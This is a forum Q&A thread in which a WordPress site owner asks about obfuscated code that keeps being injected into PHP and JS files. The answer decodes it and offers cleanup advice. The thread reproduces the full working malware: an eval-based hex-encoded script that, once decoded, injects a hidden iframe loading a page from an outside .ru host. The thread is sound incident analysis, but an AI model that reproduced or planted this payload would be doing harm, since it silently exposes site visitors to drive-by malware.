A malicious js is auto injecting into my header.php files and many other js files? [closed]

Question

Currently I am facing a hell like situation, four of my client websites were hacked before 10 days. I messed up a lot with them and three of them are working fine(running magento) after my long mess up with them, but one of them(running word press) is still facing the same situation and I could not figure out what was going on, after a particular timing the js files and some php files too are auto injecting with this kind of code :

<?
#ded509#
echo "<script type=\"text/javascript\" language=\"javascript\" > e=eval;v=\"0x\";a=0;try{a&=2}catch(q){a=1}if(!a){try{document[\"body\"]^=~1;}catch(q){a2=\"!\"}z=\"2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42\".split(a2);s=\"\";if(window.document)for(i=0;i<z.length;i++)     {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>";
#/ded509#
?>

This code is injected in all js files and main files, I changed ftp passwords, I checked cron jobs, and manually I looked up for any php code (I am feeling like some php code is doing this) but I am unable to figure it out, and yeah I tried to decode this code and tried to get the functionality for this code, yet removing this malicious code from my js files will make my site fine for some time, but after a random time the scripts will auto injected with this code ? what is this js code actually ? It will be very helpful if somebody explains what is actually going on ?

Answer 1

That PHP echo this

<script type="text/javascript" language="javascript" > e=eval;v="0x";a=0;try{a&=2}catch(q){a=1}if(!a){try{document["body"]^=~1;}catch(q){a2="!"}z="2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);s="";if(window.document)for(i=0;i<z.length;i++)     {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>

In readable form it looks like this

e = eval;

v = "0x";
a = 0;
try {
    a &= 2
} catch (q) {
    a = 1
}
if (!a) {
    try {
        document["body"] ^= ~1;
    } catch (q) {
        a2 = "!"
    }
    z = "2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);
    s = "";
    if (window.document) for (i = 0; i < z.length; i++) {
            s += String.fromCharCode(e(v + (z[i])) - 7);
    }
    zaz = s;
    e(zaz);
}

In the above code e is the function eval

If we remove eval and prints the contents of zaz it will look like this.

(function () {
    var c = document.createElement('iframe');

    c.src = 'http://jakyskyf.ru/count16.php';
    c.style.position = 'absolute';
    c.style.border = '0';
    c.style.height = '1px';
    c.style.width = '1px';
    c.style.left = '1px';
    c.style.top = '1px';

    if (!document.getElementById('c')) {
        document.write('<div id=\'c\'></div>');
        document.getElementById('c').appendChild(c);
    }
})();

Its a self executing anonymous function. The script creates an iframe in your page and load contents from http://jakyskyf.ru/count16.php

If your server is hosted in a shared server maybe the admin account itself is compromised.

Things you can do.

• Your best place to check is server logs. Check for some malicious entries.
• Check with your hosting provider.
• Change your password to a strong password.
• Normally in wordpress sites this thing happends (it happened in lot of my wordpress sites). If you are using wordpress update to latest version.
• Change the admin username from admin to someother name.
• Change your admin email and password. Hacker might have changed it.

These links will provide you more inputs

• Iframe Virus
• Iframe injection attack
• Server wide iFrame injection attacks
• Hidden iFrame injection attacks